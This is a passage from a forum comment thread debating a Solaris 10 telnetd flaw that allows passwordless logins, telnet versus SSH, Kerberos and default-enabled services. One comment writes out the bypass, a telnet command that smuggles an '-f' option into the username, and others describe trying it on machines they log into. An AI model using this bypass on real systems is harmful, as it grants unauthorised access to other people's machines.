If HP will speedbump (or misconfigure) a switch in a way that shuts down the entire network for an hour every morning, wouldn't they also be willing to speedbump ssh? Wouldn't Cisco be willing too?

Re:Why is this a big deal?

[oh_the_humanity]

layer 3 has nothing to do with this , thus IP's are irrelevant. You mean MAC spoofing, flooding MAC address's to a switch.

Re:Why is this a big deal?

[ray-auch]

What also beats me, that a default install of Solaris 10 seems to have it open

And this is suprising why ?

This is the OS that used to ship with "+" in hosts.equiv in the default install - and allegedly that was _by design_, not an oversight.

Re:Why is this a big deal?

[Anonymous Coward]

Try it with a non-root account and report back.

For example: telnet -l"-fbin" a.b.c.d

Re:Why is this a big deal?

[bugnuts]

Security best practices are the same whether you're talking about securing your home network or a military network No. It's not. The only thing those have in common is considering what you are protecting, and how much risk you wish to take versus the convenience granted. The specifics are immaterial.

The OP is right, he knows his risks and has deemed it acceptable. You and others, having no idea of the risk, deem it unacceptable and are the ignorant ones.

Re:Why is this a big deal?

[PygmySurfer]

btw, I just tested that solaris exploit on my sun box at work and it did NOT log me into root. not sure if my box was already patched (another group maintains it) but the exploit did not log me into root.

Can you login as non-root users? If you have the box configured to only allow root logins from console, the exploit doesn't exactly work. Non-root accounts still do, though.

Re:Why is this a big deal?

[Viol8]

"That's like saying, "If you have a million dollars in the bank it should be stored in a safe, but if you have ten thousand dollars in your house, it's okay to put it in your sock drawer." Just because the stakes are lower at home doesn't mean you can't have serious issues."

Thats a crap analogy. A valid one would be comparing storing your money in a safe in a bank in a city , or just leaving it in a box on a deserted desert island with only you there and no chance of anyone else showing up.

"Worst of all, you're building work habits that revolve around insecure protocols. When you telnet to a machine, you're sending your login information over an unencrypted connection, and this should never happen. It's just foolish."

NO it isn't. Only a fool wastes time using resources he doesn't need. Please tell me , if someone is using a completely seperate wired LAN with no connection to the internet and only 1 or 2 people using it , how *exactly* would a hacker gain access to sniff packets? Would he break into the building and hide under a table with his kit?

You're an idiot.

Re:Why is this a big deal?

[Anonymous Coward]

What makes you think that Kerberized telnet is unencrypted?

Do a Google search for Kerberized telnet. Read the first link. Note part about "Kerberized Telnet provides authentication and encryption of your Telnet sessions and passes information safely across the network."

If only you had done that *before* posting.

For further enlightenment, read up on GSSAPI and on Telnet over SSL.

Re:Why is this a big deal?

[thodi]

I have 11/06, and believe me, I was surprised to find telnet enabled. Well, that's because you allowed it to be during installation.

Re:Why is this a big deal?

[Chmarr]

makes perfect sense to me. Most "successful" attacks against company networks come from within.

Re:Why is this a big deal?

[SatanicPuppy]

You are so wrong. The difference is, on the one hand, taking a risk for zero gain on an obsolescent standard, and on the other hand, using the application that is pretty much the standard for this type of communication! You keep acting like there is some kind of mystical benefit to using telnet, and there's just not. What are you guys using 2800 baud modems? What's the worst case with SSH? The encryption can be compromised...making it the same as fricking telnet!

Hmmmm. Decisions, decisions, decisions.

Re:Why is this a big deal?

[evilviper]

Just because the login is "safe" doesn't mean that using an unencrypted protocol is ever a good idea.

You're right... No more secure websites for you, since HTTPS is just HTTP over an SSL data stream.

You could just as easily use Kerberos to encrypt HTTP traffic as SSL, and that is indeed exactly what Kerberos does for just about any communications protocol...

Kerberos telnet is as encrypted as it gets.

Re:Why is this a big deal?

[dhasenan]

Why are you using rsh to transfer large files? If the overhead of encryption is too much, why not put an ftp daemon on the computer? Granted, you may have to use an ssh client as well as an ftp client, but that's a minor thing, and increases security significantly if your network contains any untrusted computers.

Though if everyone on your network is trusted, it doesn't matter.

Re:Why is this a big deal?

[QAChaos]

yeah that is exactly why I turn on telnet for a couple of hours during work - a friend of mine found a remote desktop that works on port 80 so I might have to use that - I doubt the company will like the bandwidth it uses though.... - GET BACK TO WORK! - QAK

Re:Why is this a big deal?

[evilviper]

The daemon could, of course, be a little bit smarter and not try to do a reverse DNS, when there are no hostname-based authorization rules in the first place...

No no no! I don't want SSHD to be any smarter than it already is. The more smarts, the more potential security issues.

If you want smarts, reverse DNS lookup can be disabled with a single config option. Of course for that you need smarter users, not software...

Re:Why is this a big deal?

[SatanicPuppy]

Yea, because SSH is just a massive resource hog...It's amazing that any machine can run it at all.

And I want you to think for a minute about how many networks you know about where it's just two machines connected to each other with no connection at all to the outside world? Well, you are big on telnet, so maybe you're living in the world of 20 years ago, but in modern times that does not happen, and unless you have nothing you care about at all on your home network you're taking a stupid risk in using a unsecured communications protocol when you have a better one readily available, and almost certainly installed on your machine already!

The thing is, there is always a chance of someone showing up, and you're a fool if you won't take a simple precaution that would cost nothing, just because you think you're perfectly safe.

Re:Why is this a big deal?

[mr_mischief]

Unfortunately 0-day when applied to exploits is coming to mean something completely different from what zero-day means when applied to everything else.

People are calling an exploit zero-day when it's released zero (or negative) days after the vulnerability announcement, and sometimes even so long as it's zero (or negative) days after the official patch. This probably has to do with so many Windows exploits being written based on reverse-engineered security patches.

It used to be that a zero-day customer bought or downloaded something the day it hit shelves, that a zero-day warez site carried copyright-infringed works from the day they were released, that zero-day delivery meant you pre-ordered something to get it on the day it was released, and that a zero-day exploit meant that someone could crack a system the day it hit the street. I liked this definition, and it's bothersome that script kiddies, bloggers, and trade rag writers don't use it.

Zero-day should mean zero days from product release, period. Unfortunately, it doesn't. Now the meaning is context-sensitive, and I guess we'll just have to get used to that. The whole hacker/cracker/script kiddie and IT helpdesk/"support engineer" debacles should teach us not to waste too much energy quarreling with usages we dislike. At least we still have 'geek' as somewhat distinct from 'nerd', and most people in the general public now have some understanding that there's a difference between reinstalling Windows and programming.

Re:Why is this a big deal?

[SatanicPuppy]

Sure, but I covered that. Better to protect against both internal AND external threats, and not to ignore one in favor other the other. If you don't trust your employees, you don't prohibit them from using security! That's insane. Install cameras and keyloggers if you're that paranoid.

Re:Why is this a big deal?

[TheLink]

Well if you don't want it to be any smarter then it should actually NOT do reverse DNS lookups by default (which appears to be the default).

I personally don't see why default reverse DNS is such a good idea for sshd. In fact I'd say it's a BAD idea in most cases.

Re:Why is this a big deal?

[smellslikefoot]

Anyone who has telnet enabled deserves to be compromised.

Re:Why is this a big deal?

[Viol8]

>And I want you to think for a minute about how many networks you know about where it's just two machines >connected to each other with no connection at all to the outside world?

Umm , my network at home. A friend of mines. A small company I used to work at that had 4 machines set up in a house and no net connection.

>ou're taking a stupid risk in using a unsecured communications protocol

No I'm not , because its on a friggin wired link INSIDE MY HOUSE!

>The thing is, there is always a chance of someone showing up, and you're a fool if you won't take a >simple precaution that would cost nothing, just because you think you're perfectly safe.

Yes , obviously theres a small risk a hacker will climb in through a window , install a sniffing device (ignoring the actual machines he could steal or compromise with all the information on them already) and wirelessly transmit data to his blacked out van outside where he's got lots of special CIA knock-off H4ack3Z kit full of super 733t listening devices.

Meanwhile, back on planet earth...

Re:Why is this a big deal?

[toadlife]

Benefits to using Telnet:

1) Every OS comes with a ready to use client by default (even Windows)
2) On some commercial UNIXES it's the default; no having to turn it on!
3) No waiting for annoying "key exchange" mumbo-jumbo, and no having to accept keys on first connect
4) No cumbersome overhead from encryption; It's fast!
5) If you use a client that saves your password, and you forget your password, you can have the client log you in and sniff it.
6) ???

Re:Why is this a big deal?

[jargoone]

Why are you using rsh to transfer large files?

Ever hear of rsync?

Re:Why is this a big deal?

[SatanicPuppy]

Frankly, if you know a lot of people that have no net connections and tiny little hardwired lans, then no, you probably don't have a damn thing worth protecting, so I'll shut my mouth.

But my system logs can run a quarter gig a week in size on my damn home firewall box because of the sheer quantity of brute force password attacks I get from fricking China and Korea and (for some reason) South Florida, and all that with my machine not responding to ping, so your situation isn't what I'd call typical.

Re:Why is this a big deal?

[SatanicPuppy]

1) Putty is free, stable, and easy to use.
2) service telnetd stop;service sshd start
3) Hitting "Y" one time is too much bother for you?
4) Non-issue on all but the slowest hardware.
5) I don't see how that is a benefit...

Re:Why is this a big deal?

[onthost]

Please explain how "unpatched windows boxen" has anything to do with telnet explots on *nix machines? You probably can't since you appear to be just some script kiddie running their mouth. He has explained he has a closed lan, two machines, no connected to a wan. He uses telnet and you guys are jumping down his throat. If you wanted to exploit his network you need physical access, and physical access is 100x more dangerous than any exploit.

Re:Why is this a big deal?

[Anonymous Coward]

There exist classified government networks that are exactly that. The users are all completely trusted and the computers are in locked areas without any external network connections. The data on those machines are very valuable. What's so hard to understand about there being a private network?

Re:Why is this a big deal?

[maelstrom]

There is an old military motto, "Train like you fight." In this case, I would use SSH only because it instills good habits to all the people using the network. Also, in the event that someday someone connects your network to the outside, or adds a device that you don't expect (wifi router for example), or even that you have a malicious room mate/office mate, you are protected. Using ssh -C (compression) also can make ssh _faster_ than telnet, as text compresses really nicely.

The only reason to use telnet is when an embedded device doesn't support ssh and you can't upgrade the firmware. Otherwise, its just good practice to use it everywhere.

Re:Why is this a big deal?

[1729]

Frankly, if you know a lot of people that have no net connections and tiny little hardwired lans, then no, you probably don't have a damn thing worth protecting, so I'll shut my mouth.

Classified systems are often set up this way, where the LAN connects a workstation to specialized embedded hardware. The whole system is isolated from the internet (obviously) and resides in a secure, fortified environment.

In other words, you don't know what you're talking about.

Re:Why is this a big deal?

[Anonymous Coward]

Relevant line from /etc/services:

telnet 23/tcp imadumbass hackmenow rootrus rotflmao

It would be even funnier if it were in /etc/inetd.conf.

Re:Why is this a big deal?

[Anonymous Coward]

It's a big deal because it shows that Sun has learned nothing. It shows they don't have a good process in place to find and fix security bugs before they release their systems. For example, this bug should have been detected if they'd use regression tests on known past bugs. If they cannot detect and fix this kind of idiotic, well-known bugs, I don't trust them to detect and fix security bugs in more sensitive, widely-used parts of their software (Did someone say NFS?)

Re:Why is this a big deal?

[angus_rg]

Security Best Practices are a defacto standard regardless of what your risk assessment is. Go to sans top 20 and it tells you what are best practices without knowing your organization, whether it is a home network or a fortune 500 company. Your risk assessment allows you to evaluate how much, if any of a standard best practice you should apply, and if you need to go above an beyond. Now we are jumping to conclusions. If 10 feet of cable means a 10 foot crossover cable, have fun. If your 10 ft cable consists of computers hooked up to a switch with the only users being to stupid to comprehend what dsniff is, let alone use it, have fun. It sounds like it is a test network/box, that likely doesn't have anything relevant, probably and probably isn't NAT'd. Then who cares. Yeah, I know, if their client gets popped with a layer 3/4 sniffer their network is toast. Well, if it isn't natted and the password isn't anywhere else important, who cares. The only way you could get me to care is if you wanted me to assess the network, assets, policies, acceptable use and physical layout of the room for a substantial fee.

Re:Why is this a big deal?

[Val314]

about 2 years ago, i had to use a Solaris server at work, and it was only accessible though telnet... no SSH :(
(but it was not accessible from the internet, just intranet)

Re:Why is this a big deal?

[himself]

ePhil_One wrote:
>
> ...I believe the GP was referring to systems w/ embedded processors...
>
      Or like the Ethernet ports for remote access in Sun arrays (e.g., the 3310), or even the RSC cards in pretty recent Sun SPARC computers (V480, V880, V490, V890, &c.) , which are a computer on a PCI card but which only do telnet last time I asked. Now having *those* be vulnerable would really suck for people without a separate VLAN just for management stuff.

Re:Why is this a big deal?

[TheGratefulNet]

fuck!

that's all I have to say.

(ok, one more word. DAMN.)

sigh. while I seem to have root disabled (great) for telnet - it DOES let me login as myself with no password.

yikes.

Re:Why is this a big deal?

[eneville]

nothing WRONG with telnet. I use it all the time.

but ONLY on trusted lans, of course.

I find it quicker than ssh logins. of course its quicker, it has no encryption to do. and the initial seeding (at connect time) also takes a LONG time on some boxes (ssh to a cisco box; come back after lunch and you'll get your login prompt). i think you might find that the reason you cant login promptly is because the nameservers are not right and the ssh login is doing a reverse dns lookup on your socket.

telnet over a wan is dumb. telnet over a 10' piece of wire is NOT dumb.

telnet has its place.
it has a very small place. telnet is ok for debugging other services like http or smtp where one writes raw commands. but to be honest, there's no reason to get the telnet client out just yet. ssh is so much more powerful with tunnels alone that it knocks telnet way down the list of useful tools.

Re:Why is this a big deal?

[Anonymous Coward]

When ssh takes forever to connect, it is almost always because of a failure in reverse name lookup for the box YOU ARE SSH'ing FROM. Fix reverse DNS on your LAN and the delays will go away. See, everything works better when you know what you're doing...

Re:Why is this a big deal?

[SatanicPuppy]

Oh sure, isolated from the outside world...With full encryption everywhere, double redundant systems security, high security physical access control, the works.

In that sort of environment, they might actually use telnet, because it'd be running through multiple levels of hardware encryption, and thus somewhat secure.

What does this have to do with a hobby system set up by a guy who is so lazy he won't bother setting up the most basic encryption because he can't see any need?

Re:Why is this a big deal?

[toadlife]

1) It's okay, but I've had it crash several times when using it to connect over a serial port (*hyperterminal* actually works better)
2) Not everyone uses Linux you insensitive clod!
3) Not "y" - "y" *and* "Enter"
4) Time is money. That extra 500ms helps me to achieve One Degree Of Separation®. Can you say that about your business?
5) Guess I should have included the sarcasm tags?

Re:Why is this a big deal?

[oh_the_humanity]

if he never connects his LAN to a WAN, then he doesn't have to worry to much. Like i said i hope he doesn't have an access point. cause you might as well be laying a Ethernet cable down your drive way an into the street. No i'm not a script kiddie, and i'm not running my mouth. like other posters have said , you get used to operating with telnet, and you start doing it in a production environment your asking for trouble. The chance of it happening to this guy on his "private" LAN are slim. But what if he just gets in the habit of doing telnet cause its quick dirty and easy? it happens, more often than you think.

Re:Why is this a big deal?

[SatanicPuppy]

EX-FRICKING-ACTLY.

I have a windows box I use for games and word processing. It gets no email, I never browse the web on it, all document transfers are one way (outgoing). Firewall rules block all incoming packets that aren't established.

I run an antivirus scan every night, and a spyware scan every saturday morning at 5am. I back it up my important files off of it every two weeks, using an automated file copy, and a secondary machine with a raid. Why? Because it's the right damn thing to do. Anything else and you're tempting fate, you're just assuming that nothing bad will ever happen, and that you're in control of every variable.

Re:Why is this a big deal?

[Anonymous Coward]

5) If you use a client that saves your password, and you forget your password, you can have the client log you in and sniff it.

Oh... my... god... don't tell me you have a client remember your passwords!

Re:Why is this a big deal?

[pacman on prozac]

You could just as easily use Kerberos to encrypt HTTP traffic as SSL

Erm, isn't Kerberos an authentication protocol?

All it does for telnet is take care of authenticating the users, the rest of the session is still plaintext but the login + pass aren't sent in the clear.

Re:Why is this a big deal?

[Cramer]

The speed of IOS upgrades is limited to the write speed of the FLASH. The freakin' serial port can keep up with most flash chips. If you wanna see the difference, use rommon to download to ram... it flies.

Re:Why is this a big deal?

[Cramer]

Nah. Tiny slow MIPS processor... on my 1760 it takes about 1 second to handle the initial negotiation. That's not bad for interactive logins, but for scripts that connect often, that's not so good. Now in theory, it could had that process off to the crypto card but I doubt it does. (note: the MOD1700 doesn't do AES.)

Re:Why is this a big deal?

[LaRueLaDue]

Gee, you must work at the same place as me.... And yes, it is focused on watching internal traffic and staff.... very nice atmosphere...

Re:Why is this a big deal?

[SatanicPuppy]

A private network with encryption? Nothing.

Re:Why is this a big deal?

[Frank T. Lofaro Jr.]

People who care about compatibility, who realize packet sniffing attacks aren't as big a deal (internal network sniffing means internal threats, who could steal your computers, attack you, etc just as well or sniffing on the big Internel routers - very hard - think NSA, FBI, CIA, etc who could also more easily put bugs in your office, arrest you or assassinate you) as server software bugs (which this bug is), people who realize there are telnet servers and clients which support telnet authenticate and encrypt options, and people who don't like ssh's short comings (missing from a lot of systems, extra hassle, no flexibility such as that provided by telnet's options and negotiate protocol).

Re:Why is this a big deal?

[Anonymous Coward]

Who the hell even THINKS about enabling telnet on any box these days?

There's a professor at one of my former colleges (which, for obvious reasons, shall remain nameless) who basically runs the entire computer science department network himself. He's an old-school unix gray beard who monitors everything (and I do mean EVERYTHING) that crosses their network with a home-brewed traffic analyzer. He still runs telnet and won't enable ssh so he can continue to monitor login sessions [1]. And the dept's servers are mostly, guess what, Suns because Sun offers great educational discounts.

[1] Not sure why he wouldn't just copy each server's private keys to his monitoring box. Probably felt he had better ways to spend his time.

Re:Why is this a big deal?

[seifried]

Kerberos is an authentication protocol, only the authentication portion of the session is secured, the rest of the session is plain text and can easily be intercepted, data read, modified, injected, etc. To summarize: Kerberos provides strong authentication and encryption of network authentication, but nothing for the data communications part of a session.

Re:Why is this a big deal?

[georgewilliamherbert]

Most of those RSC cards have a firmware upgrade which will do SSH. Many sites haven't deployed that, yet, though.

In the meantime: separate LAN or VLAN for it, not routed, bridged with a secure sysadmins-only bastion host, etc.

Having an exposed telnetd on any public network has been known to be bad for years, if nothing else because it exposes YOUR PASSWORD to the world in transit. Duh.

Re:Why is this a big deal?

[mrcaseyj]

You could just as easily use Kerberos to encrypt HTTP traffic as SSL

Erm, isn't Kerberos an authentication protocol?
from the FAQ at

All it does for telnet is take care of authenticating the users, the rest of the session is still plaintext but the login + pass aren't sent in the clear.

That's what I thought so I checked. They don't seem to make a big deal of it but this little bit seems to indicate that it can be used for encrypting the entire session.

From
http://www.cmf.nrl.navy.mil/CCS/people/kenh/kerber os-faq.html#kerbsupport

"The next level of Kerberos support is a "true" Kerberized application that uses Kerberos tickets to verify identity and/or encrypt data. ... Unfortunately, relatively few applications support Kerberos to this degree."

Re:Why is this a big deal?

[joe_bruin]

Even worse is that there's multiple and sometimes incompatible versions of SSH out there - what may come with one system isn't guaranteed to work with another. Can you get the OS vendor to jump and have a man there within 30 minutes to fix it if a supported OS function doesn't work? Yes. Can you get the OS vendor to jump and have a man there within 30 minutes if OpenSSH doesn't work? No. Sometimes it's as simple as that, unfortunately.

Sun ships its own ssh server and client. They are modified versions of OpenSSH, and are compatible with OpenSSH. If you have a support contract with Sun and you find a bug with their ssh or a problem it's causing with other software, they will help you debug the problem, they will fix it, they will test the changes to make sure they haven't broken anything else, and they will help you deploy it. Anything else you need?

Re:Why is this a big deal?

[Antique Geekmeister]

Frankly, the same people who think you need a professional security assessment to upgrade from RedHat 7.2, and who insist on transferring confidential files via FTP. I'm not kidding: this came up with a remote business partner last week.

Re:Why is this a big deal?

[Anonymous Coward]

If you're on Solaris 8 (SunOS 5.8 or Solaris 2.5.8) or 9 (SunOS 5.9, or Solaris 2.5.9), you appear to be safe.

I've never heard of Solaris 2.5.8 or 2.5.9.

Solaris went through versions 2.0, 2.1, 2.2, 2.3, 2.4, 2.5, 2.5.1, 2.6, 7, 8, 9, 10, ...
The SunOS kernel for those versions was 5.0, 5.1, 5.2, 5.3, 5.4, 5.5, 5.5.1, 5.6, 5.7, 5.8, 5.9, 5.10, ...

Re:Why is this a big deal?

[m50d]

I have those keys; it still takes about 20s to log in to my sparcstation 10 via ssh. Also, why not streaming video over ssh?

Re:Why is this a big deal?

[evilviper]

Kerberos provides strong authentication and encryption of network authentication, but nothing for the data communications part of a session.

You are a ignorant fool...

The kerberised services exist in encrypted and non-encrypted versions. The encrypted services have an "e" prepended to the name and the programs take `-x' as an option indicating encryption.
http://www.pdc.kth.se/kth-krb/doc/kth-krb_4.html#S EC32


30 seconds on Google and you could have avoided making a complete idiot of yourself on /.

Re:Why is this a big deal?

[1729]

Oh sure, isolated from the outside world...With full encryption everywhere, double redundant systems security, high security physical access control, the works.

In that sort of environment, they might actually use telnet, because it'd be running through multiple levels of hardware encryption, and thus somewhat secure.

No, you don't get it. There's often NO encryption on such a system. What's the need? The only things on the network are the workstation and the data-processing hardware (a cluster of single-board computers running an embedded OS, for example). There's no need for encryption there. If someone can sniff packets on the network, then they already have complete physical access.

What does this have to do with a hobby system set up by a guy who is so lazy he won't bother setting up the most basic encryption because he can't see any need?

What's the difference? If you use telnet over an isolated network, then the only way to exploit telnet's weaknesses is to physically compromise the network. In that case, the attacker could just as well install a keylogger, or a hidden camera, etc.

Re:Why is this a big deal?

[FreakWent]

I had a nice fanless silent 486dx as a freesco firewall somewhere for years. There came a business need to setup SSH; the client would timeout waiting for the server to generate the key.

So it got upgraded. It's a shame really.

Re:Why is this a big deal?

[Anonymous Coward]

it took over 20 secs, on SOME cisco boxes, to get a ssh prompt back.

quite unacceptable.

This doesn't sound right, even on old hardware. My guess is that this is the result of a timeout when trying to do a reverse DNS lookup on the IP of the user connecting. Try setting UseDNS to false in the sshd_config file.

Re:Why is this a big deal?

[Anonymous Coward]

You insensitive clods, he doesn't say what Sparc he's running! It takes like 20 seconds to open up an ssh link on a Sun IPC (25mhz). 8-) (seriously, it actually does take 20-30 seconds though.. and similar on a 486 too). However, I agree with y'all, I didn't even open up telnet on that box, I just put up with the slow connects the few times I had to telnet^H^H^H^H^H^Hssh into it.

Re:Why is this a big deal?

[Anonymous Coward]

As much as I worry about the security of a system,

~ # ls -l /usr/sbin/dropbear
-rwxr-xr-x 1 root root 278759 Dec 25 2005 /usr/sbin/dropbear
~ # ls -l /usr/sbin/telnetd
-rwxr-xr-x 1 root root 12727 Dec 25 2005 /usr/sbin/telnetd

is the main reason why some systems still use telnetd -- on small embedded systems, every byte counts, even dropbear is huge compared to telnet/telnetd...

That being said, my router will only accept sshd connections, there's barely enough space on there to have ssh support... and I could save 12727 bytes in my flash memory...

Re:Why is this a big deal?

[ToasterMonkey]

What are you talking about? Do you even know what an IDS is?

There is a small, but not insignificant branch of the US military that doesn't allow internal encrypted traffic between networks because it renders their IDS's useless.
Also, if someone with bad intent can log into your machine, counting on your logs being intact is silly.

You'd have to have BALLS to try something silly over a unencrypted telnet link on a DoD network. If it picks up anything suspicious, the connection will be dropped (after enough evidence has been collected)

Encrypting all traffic between all points on your internal networks isn't the answer to all your security problems.

Sniff traffic on the network?? Please, real men use switches.

Re:Why is this a big deal?

[v1]

isn't telnet still used a lot by hardware for configuration? It hasn't been that long ago since I used telnet to configure several baytecs. Telnet is a lot like the serial ports you see on routers and switches - archaic, but simple and useful.

Re:Why is this a big deal?

[Anonymous Coward]

any user can sniff telnet traffic on the network No they cannot, and have not been able for last ten years or so. The reason is the switch.

You can argue about injecting erroneous packets to fool the switch, but that is detectable, absolutely certainly against all policies and does not have high chance of success.

Re:Why is this a big deal?

[adrianmonk]

If you're on Solaris 8 (SunOS 5.8 or Solaris 2.5.8) or 9 (SunOS 5.9, or Solaris 2.5.9), you appear to be safe.

You'll be really safe on "Solaris 2.5.8" and "Solaris 2.5.9" since neither of those versions exist.

It's all well and good to refuse to go along with Sun's marketing department and drop the "2." at the beginning, but 2.5.8 and 2.5.9 are not the right version strings. This is because the first eight versions of Solaris 2.x were:

• 2.0
• 2.1
• 2.2
• 2.3
• 2.4
• 2.5
• 2.5.1
• 2.6

Sun then applied the "drop the leading '2.'" rule, and the next versions were these:

• 7
• 8
• 9
• 10

So, if you like to re-add the "2." after the marketing folks took it away, the right way to do it would be to call call SunOS 5.9 by the name "Solaris 2.9" and SunOS 5.10 by the name "Solaris 2.10".

Incidentally, 2.5.1 was available in three flavors: SPARC, x86, and PowerPC. :-)

Re:Why is this a big deal?

[DCGregoryA]

I don't get the first line of your post. Are you suggesting SSL doesn't encrypt?

SSL is a handshake and crypto protocol. Data is encrypted, both ways. GETs, POSTs, the whole nine yards. That's sorta the point. SSL version 2 didn't protect the handshake from man in the middle attacks, so it was deemed insecure. Supposedly version 3 is stronger.

You're right about Kerberos. Typical modern day kerberos implementations use AES. Therefore its reasonable to assume a "kerberos based telnet daemon" would also use AES, if its using Kerberos 5.

Re:Why is this a big deal?

[blhack]

anybody running as400.

i am fighting this tooth and nail at work (i mean, good god, telnet!) To make matters worse....we run an outdoor wireless network that goes for about a mile (if you have decent equipment) with *gasp* WEP! protecting it.

I called up our software vendors (who also shipped us the hardware that we use....intermec 6400c..circa 1998) and told their "hardware guy" how absolutly unbelievably insane this was. His response was that "you have SSID broadcast turned off right?" to which i responded "yes...so that will stop the 50 year old grand mother across the street from trying to connect to us and use t3h internets"...to this he responded "anybody sophisticated enough to find our SSID could probably pwnz0re the internets anyhow...and also that switching to WPA is pointless cause the ability to crap WEP puts them into teh "god" category of hacker. Meaning that we're screwed if somebody points their linbox our way anyway, so give up!"

oh, did i mention that by default everybody has admin privs on the system...and the software company doesn't understand why this is a problem?

i swear this shit is going to drive me insane one of these days.

Re:Why is this a big deal?

[evilviper]

I don't get the first line of your post. Are you suggesting SSL doesn't encrypt?

No. My point is that HTTP over SSL is every bit as encrypted as Telnet over Kerberos.

Re:Why is this a big deal?

[bugnuts]

The only reason to use telnet is when an embedded device doesn't support ssh and you can't upgrade the firmware. EX-FRICKING-ACTLY. ... the whole reason this discussion started was because the guy had trouble using ssh to a router. You clearly know a lot about ssh, so you know that it has to compute a math-intensive session key that generally times out every hour or sooner. He stated this computation took exceedingly long on the router, as to be unusable. Less than a minute doesn't sound like a lot -- no more than the "whoa there cowboy" filter on /. but consider that wait is before you can even type your first character. That would certainly qualify as an embedded device that poorly supports ssh. If the firmware allowed it, he could probably use a 128-bit session key to speed it up significantly.... but then people like you would complain about a weak session key.

There's a big slider with one side marked "SECURE" and the other side marked "USABLE". Not all networks require the slider to be in the same space. I use kerb, ssh, a smart card, a [redacted] to even login at work, and that's only if I don't have to talk to the guards with machine guns or [redacted] and [redacted] first. That kind of security would be idiotic on most networks, and that was exactly what the OP said. He doesn't habitually lock his bedroom door just in case a burglar shows up, because someone's already in his house -- if his box was rooted, he doesn't care about his router or his password... the damage was already done.

If your security plan doesn't consider what it's guarding, it's crap. The OP deems telnet an acceptable risk and I believe him. Clearly, if someone is into his network already, he's not concerned about his password being sniffed. That's a fine security plan for his uses, as long as it's done with full knowledge of the risks.

Encryption will not secure the world. Even Bruce Schneier changed his views and no longer believes that.

Ha!

[Anonymous Coward]

See? Your "Linux" thing has more vulnerabilites than Vista! Ha! Yes! I win!

-Bill Gates

Telnet?

[walt-sjc]

Does ANYONE run telnet anymore? There has been no need to run telnet for at least 10 years. If you ARE nuts enough to run it, you would would be even more nuts to have it open to the internet. Can anyone confirm if telnet is enabled by default on Solaris for new installs? I would doubt it - I haven't seen telnet being enabled by default on any unix flavor in at least a decade.

Re:Telnet?

[Anonymous Coward]

AiX 5.3 has telnet enabled by default.

Re:Telnet?

[Anonymous Coward]

Can anyone confirm if telnet is enabled by default on Solaris for new installs?

It is on the 06/06 release of Solaris 10.

Re:Telnet?

[Anonymous Coward]

Solaris 8, 9, 10 -- all have telnet, ftp, rlogin and others enabled by default at a clean install.
You can check it for yourself in vmware, if you do not believe.

Re:Telnet?

[walt-sjc]

Time to sell Sun stock then (well, it's already in the toilet) because that is not just stupid, it's gross negligence.

Re:Telnet?

[Bert64]

Even such ridiculous services as chargen, echo and discard are turned on by default still.

Re:Telnet?

[thodi]

Can anyone confirm if telnet is enabled by default on Solaris for new installs? Solaris 10 11/06 asks you if you want network services enabled. If you choose no, the one and only thing you will have listening on an external interface is ssh.

Re:Telnet?

[Anonymous Coward]

What, no daytime?

Re:Telnet?

[Nasarius]

Wow. That's an awful decision. Of course any decent admin will close down all unneeded services, but why have it all enabled by default? Is there any legitimate reason for that?

Re:Telnet?

[Anonymous Coward]

Solaris 10 11/06 gives you a choice when you install -- either enable the usual services, or allow basically nothing but ssh. I use the "allow nothing but ssh" option, then I set up ipfilter & tcp_wrapper, and then turn back on the few other things that we need.

Re:Telnet?

[Anonymous Coward]

Yeah, you go do that. Better divest in any fund that has SUNW stock. Hell, you'd best alert all brokers everywhere, I'm sure it'll just totally sink the entire balance sheet of the entire corporation.

Idiot.

Re:Telnet?

[finkployd]

Solaris 10 (06/06 release) gives you the option on install to either start all the usual services or SSH only.

Granted SSH only should be the default (and the only option imho), but it is a start.

The Service Management Facility at least provides a nice easy way to manage services (and is light years ahead of anything Linux has right now)

Finkployd

Re:Telnet?

[Capt James McCarthy]

I'm sure there are collages who do. Your login is your full name and your password is your SSN. Have a nice day. ;-)

Re:Telnet?

[Nevyn]

There has been no need to run telnet for at least 10 years.

That's a significant exageration. Portable openssh was first released Oct. 1999, I remember running various versions of what became the proprietary ssh code before that ... but it wasn't common until after the first openssh release (I certainly had to use telnet/ftp occasionaly in 1998-1999). Putty was also first released in 2000.

Re:Telnet?

[Anonymous Coward]

Solaris 10 11/06 asks you if you want network services enabled. If you choose no, the one and only thing you will have listening on an external interface is ssh.

How absurd, if that's how it works. You choose no, you don't want network services enabled, and yet SSH is enabled? That makes no sense whatsoever.

Re:Telnet?

[walt-sjc]

Bullcrap. Sysadmins downloaded and installed the "fsecure" version WELL before that. While it was only "free" for non-commercial use, Many people either ignored that or paid for a license (it wasn't that expensive.) If you could afford a Sun machine, you could afford a license (or even a site license.)

On Windows, TeraTerm and SecureCRT, and fsecure's client predated Putty.

Re:Telnet?

[thogard]

If SMF is light years ahead, how can I audit it? Say someone uses a binary editor to stuff the database full of a root kit, how do I find it?

So what?

[Keyslapper]

Why would anyone keep the telnet port open anyway? SSH is so much more secure (if set up properly) and is just as easy to use. In fact, I find it easier for some tasks.

Hasn't telnet been the source of many dozens of *nix vulnerabilities in the past? From the synopsis, it sounds like this bug is only there because nobody is working on the telnet codebase anymore - it is likened to the Linux exploit from '94. For my own part, the first thing I do when setting up a *nix system is disable the daemon, and the second is to make sure the firewall blocks the port in all directions.

This is not to say this shouldn't be reported, but I think it is more an example why telnet can realistically be considered obsolete technology, and should always, ALWAYS be disabled by default. It's not Windows, after all.

Re:So what?

[goarilla]

yeah but having a telnet client or netcat available does come handy in many occasions.

Configuration issue

[Gothmolly]

They give the correct configuration to mitigate the problem. This is kind of a non-story. What's next, a SANS article detailing a "bug" which allows you to set root's password to null, and then anyone can ssh into the machine as root?

Re:Configuration issue

[walt-sjc]

Since apparently Sun is negligent enough to have telnet enabled by default, it is an important story. This reminds me of the old NT4 days, where every service on the machine was enabled by default, and the first thing you had to do was turn everything off. Come on Sun, get with program here...

Re:Configuration issue

[cnettel]

It's a bug. It's just easy solved by a configuration change. Code-Red and other exploitations of IIS grew a lot worse due to the fact that the defaults were of the "enabled by default" kind, just like this seems to be. Solaris admins can be assumed to be more careful, but we'll just have to wait and see. It's of course simplified by the fact that just about nothing uses port 23, while filtering specific requests on port 80 without disrupting service is a bit harder.

Re:Configuration issue

[Anonymous Coward]

Since apparently Sun is negligent enough to have telnet enabled by default, it is an important story. This reminds me of the old NT4 days, where every service on the machine was enabled by default, and the first thing you had to do was turn everything off. Come on Sun, get with program here...

To Suns credit they have provided an install option to disable network services in the 11/06 release of Solaris 10.

Re:Configuration issue

[zdzichu]

The article talks about Solaris 10 u1 released in 2005. The latest thing is u3, which has two things:

